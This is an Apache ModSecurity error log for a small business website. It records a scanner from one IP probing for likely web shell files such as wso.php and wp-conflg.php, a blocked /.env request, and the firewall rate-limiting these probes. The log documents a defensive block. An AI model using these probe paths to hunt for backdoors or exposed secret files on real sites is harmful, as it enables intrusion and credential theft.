[Sun Mar 08 18:12:35.176128 2026] [:error] [pid 22788:tid 22870] [client 86.125.26.113:55898] [client 86.125.26.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.125.26.113, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa1Lk0hwluk21OG9mScCLQAAA48"]
[Sun Mar 08 18:12:35.186609 2026] [proxy_fcgi:error] [pid 22788:tid 22870] [client 86.125.26.113:55898] AH01071: Got error 'Primary script unknown'
[Sun Mar 08 21:23:20.424632 2026] [:error] [pid 22669:tid 22772] [client 159.65.15.207:36706] [client 159.65.15.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aa14SGvqAhy8LIaua-qYtwAAAs0"]
[Mon Mar 09 01:57:18.207943 2026] [proxy_fcgi:error] [pid 16352:tid 16379] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:18.435193 2026] [proxy_fcgi:error] [pid 16352:tid 16361] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:18.640816 2026] [proxy_fcgi:error] [pid 16352:tid 16356] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:18.845917 2026] [proxy_fcgi:error] [pid 16352:tid 16365] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:19.125956 2026] [proxy_fcgi:error] [pid 16352:tid 16378] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:19.348741 2026] [proxy_fcgi:error] [pid 16352:tid 16368] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:19.563912 2026] [proxy_fcgi:error] [pid 16352:tid 16363] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:19.783885 2026] [proxy_fcgi:error] [pid 16352:tid 16371] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:20.318580 2026] [proxy_fcgi:error] [pid 16352:tid 16361] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:21.750134 2026] [proxy_fcgi:error] [pid 16352:tid 16375] [client 20.12.79.171:27724] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:57:21.949968 2026] [:error] [pid 16352:tid 16362] [client 20.12.79.171:27724] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-session.php"] [unique_id "aa24geS719tlqxBPD_Do7AAAAMc"]
[Mon Mar 09 01:57:23.822821 2026] [:error] [pid 49677:tid 49737] [client 20.12.79.171:27740] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-session.php"] [unique_id "aa24g9gMztaTv5fI2Xr2ugAAAIk"]
[Mon Mar 09 01:57:24.807739 2026] [:error] [pid 49392:tid 49608] [client 20.12.79.171:27723] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-session.php"] [unique_id "aa24hLhnfLjo2gwJdbFG8gAAAFY"]
[Mon Mar 09 01:57:25.504801 2026] [:error] [pid 16352:tid 16372] [client 20.12.79.171:27759] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-session.php"] [unique_id "aa24heS719tlqxBPD_Do_QAAANE"]
[Mon Mar 09 01:57:26.093530 2026] [:error] [pid 49419:tid 49654] [client 20.12.79.171:27651] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl2023.php"] [unique_id "aa24hvSUwH6DJwBBi5B2uQAAAA0"]
[Mon Mar 09 01:57:26.634450 2026] [:error] [pid 16352:tid 16360] [client 20.12.79.171:27758] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl2023.php"] [unique_id "aa24huS719tlqxBPD_DpAgAAAMU"]
[Mon Mar 09 01:57:27.341224 2026] [:error] [pid 49419:tid 49647] [client 20.12.79.171:27726] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl2023.php"] [unique_id "aa24h_SUwH6DJwBBi5B2ugAAAAY"]
[Mon Mar 09 01:57:27.860155 2026] [:error] [pid 49677:tid 49729] [client 20.12.79.171:27591] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl2023.php"] [unique_id "aa24h9gMztaTv5fI2Xr2wwAAAIE"]
[Mon Mar 09 01:57:28.399697 2026] [:error] [pid 16352:tid 16362] [client 20.12.79.171:27764] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aa24iOS719tlqxBPD_DpAwAAAMc"]
[Mon Mar 09 01:57:28.992622 2026] [:error] [pid 49419:tid 49651] [client 20.12.79.171:27771] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aa24iPSUwH6DJwBBi5B2vAAAAAo"]
[Mon Mar 09 01:57:29.581762 2026] [:error] [pid 49404:tid 49614] [client 20.12.79.171:27767] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aa24iXc8Cw-aeCN3s76QggAAA0A"]
[Mon Mar 09 01:57:30.110616 2026] [:error] [pid 49404:tid 49616] [client 20.12.79.171:27658] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aa24inc8Cw-aeCN3s76QgwAAA0I"]
[Mon Mar 09 01:57:30.775684 2026] [:error] [pid 49677:tid 49742] [client 20.12.79.171:27665] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aa24itgMztaTv5fI2Xr2yQAAAI4"]
[Mon Mar 09 01:57:31.917710 2026] [:error] [pid 49392:tid 49586] [client 20.12.79.171:27768] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aa24i7hnfLjo2gwJdbFG_QAAAEA"]
[Mon Mar 09 01:57:32.841994 2026] [:error] [pid 16352:tid 16379] [client 20.12.79.171:27667] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aa24jOS719tlqxBPD_DpCgAAANg"]
[Mon Mar 09 01:57:33.937662 2026] [:error] [pid 49677:tid 49740] [client 20.12.79.171:27770] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aa24jdgMztaTv5fI2Xr22AAAAIw"]
[Mon Mar 09 01:57:35.293745 2026] [:error] [pid 49404:tid 49635] [client 20.12.79.171:27730] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbK8Qd6nhc.php"] [unique_id "aa24j3c8Cw-aeCN3s76QhQAAA1U"]
[Mon Mar 09 01:57:36.155647 2026] [:error] [pid 49392:tid 49607] [client 20.12.79.171:27746] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbK8Qd6nhc.php"] [unique_id "aa24kLhnfLjo2gwJdbFHAAAAAFU"]
[Mon Mar 09 01:57:36.619011 2026] [:error] [pid 49677:tid 49745] [client 20.12.79.171:27763] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbK8Qd6nhc.php"] [unique_id "aa24kNgMztaTv5fI2Xr22gAAAJE"]
[Mon Mar 09 01:57:37.570088 2026] [:error] [pid 49677:tid 49751] [client 20.12.79.171:27752] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbK8Qd6nhc.php"] [unique_id "aa24kdgMztaTv5fI2Xr23AAAAJc"]
[Mon Mar 09 01:57:38.250309 2026] [:error] [pid 16352:tid 16363] [client 20.12.79.171:27657] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BIBIL.php"] [unique_id "aa24kuS719tlqxBPD_DpFwAAAMg"]
[Mon Mar 09 01:57:38.935213 2026] [:error] [pid 49677:tid 49741] [client 20.12.79.171:27714] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BIBIL.php"] [unique_id "aa24ktgMztaTv5fI2Xr24AAAAI0"]
[Mon Mar 09 01:57:39.709473 2026] [:error] [pid 49419:tid 49655] [client 20.12.79.171:27729] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BIBIL.php"] [unique_id "aa24k_SUwH6DJwBBi5B2zAAAAA4"]
[Mon Mar 09 01:57:40.291265 2026] [:error] [pid 16352:tid 16372] [client 20.12.79.171:27772] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BIBIL.php"] [unique_id "aa24lOS719tlqxBPD_DpHQAAANE"]
[Mon Mar 09 01:57:41.104301 2026] [:error] [pid 16352:tid 16358] [client 20.12.79.171:27727] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uchkkzmk.php"] [unique_id "aa24leS719tlqxBPD_DpIwAAAMM"]
[Mon Mar 09 01:57:42.450142 2026] [:error] [pid 16352:tid 16377] [client 20.12.79.171:27718] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uchkkzmk.php"] [unique_id "aa24luS719tlqxBPD_DpKwAAANY"]
[Mon Mar 09 01:57:44.579648 2026] [:error] [pid 49404:tid 49632] [client 20.12.79.171:27653] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uchkkzmk.php"] [unique_id "aa24mHc8Cw-aeCN3s76QigAAA1I"]
[Mon Mar 09 01:57:45.913081 2026] [:error] [pid 49392:tid 49590] [client 20.12.79.171:27689] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uchkkzmk.php"] [unique_id "aa24mbhnfLjo2gwJdbFHCgAAAEQ"]
[Mon Mar 09 01:57:47.059997 2026] [:error] [pid 49392:tid 49586] [client 20.12.79.171:27722] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aa24m7hnfLjo2gwJdbFHEAAAAEA"]
[Mon Mar 09 01:57:49.079650 2026] [:error] [pid 16352:tid 16366] [client 20.12.79.171:27728] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aa24neS719tlqxBPD_DpQgAAAMs"]
[Mon Mar 09 01:57:50.517289 2026] [:error] [pid 16352:tid 16356] [client 20.12.79.171:27649] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aa24nuS719tlqxBPD_DpSQAAAME"]
[Mon Mar 09 01:57:51.123979 2026] [:error] [pid 49677:tid 49736] [client 20.12.79.171:27586] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aa24n9gMztaTv5fI2Xr28QAAAIg"]
[Mon Mar 09 01:57:52.315656 2026] [:error] [pid 49392:tid 49603] [client 20.12.79.171:27697] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbicjghd.php"] [unique_id "aa24oLhnfLjo2gwJdbFHFgAAAFE"]
[Mon Mar 09 01:57:53.328482 2026] [:error] [pid 16352:tid 16355] [client 20.12.79.171:27669] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbicjghd.php"] [unique_id "aa24oeS719tlqxBPD_DpUAAAAMA"]
[Mon Mar 09 01:57:54.203498 2026] [:error] [pid 16352:tid 16366] [client 20.12.79.171:27674] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbicjghd.php"] [unique_id "aa24ouS719tlqxBPD_DpUQAAAMs"]
[Mon Mar 09 01:57:55.501776 2026] [:error] [pid 16352:tid 16379] [client 20.12.79.171:27744] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbicjghd.php"] [unique_id "aa24o-S719tlqxBPD_DpWQAAANg"]
[Mon Mar 09 01:57:56.930556 2026] [:error] [pid 16352:tid 16369] [client 20.12.79.171:27681] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aa24pOS719tlqxBPD_DpXwAAAM4"]
[Mon Mar 09 01:57:58.344470 2026] [:error] [pid 16352:tid 16377] [client 20.12.79.171:27703] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aa24puS719tlqxBPD_DpZQAAANY"]
[Mon Mar 09 01:57:58.829232 2026] [:error] [pid 49677:tid 49743] [client 20.12.79.171:27661] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aa24ptgMztaTv5fI2Xr3BQAAAI8"]
[Mon Mar 09 01:57:59.905029 2026] [:error] [pid 49392:tid 49597] [client 20.12.79.171:27655] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aa24p7hnfLjo2gwJdbFHHQAAAEs"]
[Mon Mar 09 01:58:01.244731 2026] [:error] [pid 49404:tid 49624] [client 20.12.79.171:27663] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/izusdinh.php"] [unique_id "aa24qXc8Cw-aeCN3s76QlAAAA0o"]
[Mon Mar 09 01:58:01.968058 2026] [:error] [pid 49392:tid 49590] [client 20.12.79.171:27648] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/izusdinh.php"] [unique_id "aa24qbhnfLjo2gwJdbFHIQAAAEQ"]
[Mon Mar 09 01:58:02.654186 2026] [:error] [pid 49404:tid 49630] [client 20.12.79.171:27734] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/izusdinh.php"] [unique_id "aa24qnc8Cw-aeCN3s76QlQAAA1A"]
[Mon Mar 09 01:58:03.166691 2026] [:error] [pid 49677:tid 49737] [client 20.12.79.171:27662] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/izusdinh.php"] [unique_id "aa24q9gMztaTv5fI2Xr3DgAAAIk"]
[Mon Mar 09 01:58:03.912685 2026] [:error] [pid 49677:tid 49736] [client 20.12.79.171:27739] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aa24q9gMztaTv5fI2Xr3EAAAAIg"]
[Mon Mar 09 01:58:04.599934 2026] [:error] [pid 16352:tid 16378] [client 20.12.79.171:27693] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aa24rOS719tlqxBPD_DpeQAAANc"]
[Mon Mar 09 01:58:05.437492 2026] [:error] [pid 16352:tid 16360] [client 20.12.79.171:27708] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aa24reS719tlqxBPD_DpfAAAAMU"]
[Mon Mar 09 01:58:06.340874 2026] [:error] [pid 49677:tid 49746] [client 20.12.79.171:27735] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aa24rtgMztaTv5fI2Xr3EgAAAJI"]
[Mon Mar 09 01:58:07.631138 2026] [:error] [pid 49404:tid 49636] [client 20.12.79.171:27720] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pgxfoqte.php"] [unique_id "aa24r3c8Cw-aeCN3s76QmgAAA1Y"]
[Mon Mar 09 01:58:08.394534 2026] [:error] [pid 16352:tid 16370] [client 20.12.79.171:27751] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pgxfoqte.php"] [unique_id "aa24sOS719tlqxBPD_DphQAAAM8"]
[Mon Mar 09 01:58:09.117592 2026] [:error] [pid 49677:tid 49744] [client 20.12.79.171:27666] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pgxfoqte.php"] [unique_id "aa24sdgMztaTv5fI2Xr3GQAAAJA"]
